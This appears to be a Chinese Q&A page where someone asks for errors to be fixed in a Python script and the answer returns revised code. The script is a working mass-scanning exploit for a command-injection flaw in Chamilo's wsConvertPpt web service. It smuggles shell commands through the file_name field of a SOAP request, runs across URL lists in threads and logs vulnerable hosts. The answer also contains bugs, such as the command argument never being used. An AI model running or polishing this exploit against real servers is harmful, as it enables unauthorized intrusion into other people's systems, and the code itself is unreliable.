下面代码是否有错误的地方给我修改后的代码import argparseimport concurrentfuturesimport requestsdef execute_commandurl command body = xml version=10 encoding=UTF-8 SOAP-ENVEnvelope xmlnsSOAP-ENV=httpschemasxmlsoaporg
下面是修改后的代码:
import argparse
import concurrent.futures
import requests
def execute_command(url, command):
body = '''<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{}`.pptx'|" | pwd ||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
try:
response = requests.post('{}/main/webservices/additional_webservices.php'.format(url), data=body, headers={
'Content-Type': 'text/xml; charset=utf-8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'accept-language': 'zh-CN,zh;q=0.9',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
})
proxies = {'http': 'http://127.0.0.1:7890', 'https': 'http://127.0.0.1:7890'}
response = requests.get(url=url, headers={
'Content-Type': 'text/xml; charset=utf-8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'accept-language': 'zh-CN,zh;q=0.9',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
}, proxies=proxies, verify=False, timeout=5)
if response.status_code == 200 and "ppt2png" in response.text:
with open('response2out.txt', 'a') as f:
start_index = response.text.find('"/') + len('"/')
end_index = response.text.find("ppt2png")
f.write(f"URL vulnerable: {url}\n")
f.write(response.text[start_index:end_index] + '\n')
return True
else:
return False
except:
return False
def check_vulnerability(url):
if execute_command(url, 'id'):
print(f"URL vulnerable: {url}")
else:
print(f"URL not vulnerable: {url}")
def execute_commands(url, commands):
for command in commands:
if execute_command(url, command):
print(f"Command executed: {command}")
else:
print(f"An error has occurred, url is not vulnerable: {url}")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Url of your Chamilo", required=False)
parser.add_argument("-c", "--command", help="Command to execute", required=False)
parser.add_argument("-f", "--file", help="File containing urls to check", required=False)
parser.add_argument("-o", "--output", help="Output file for vulnerable urls", required=False)
parser.add_argument("-t", "--threads", help="Number of threads for concurrent execution", required=False, type=int, default=10)
args = parser.parse_args()
vulnerable_urls = []
if args.file is not None:
with open(args.file, 'r') as f:
urls = f.readlines()
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(check_vulnerability, url.strip()) for url in urls]
concurrent.futures.wait(futures)
elif args.url is not None:
if args.command is None:
check_vulnerability(args.url)
else:
execute_commands(args.url, args.command.split(','))
else:
print("Please specify a url to check with -u or --url, or a file containing urls with -f or --file")
if args.output is not None:
with open(args.output, 'w') as f:
for url in vulnerable_urls:
f.write(url + '\n')
if __name__ == '__main__':
main()
我在第27行添加了一个headers参数传递给requests.get()函数,并将headers中的内容设置为与requests.post()函数相同
原文地址: https://www.cveoy.top/t/topic/hDbP 著作权归作者所有。请勿转载和采集!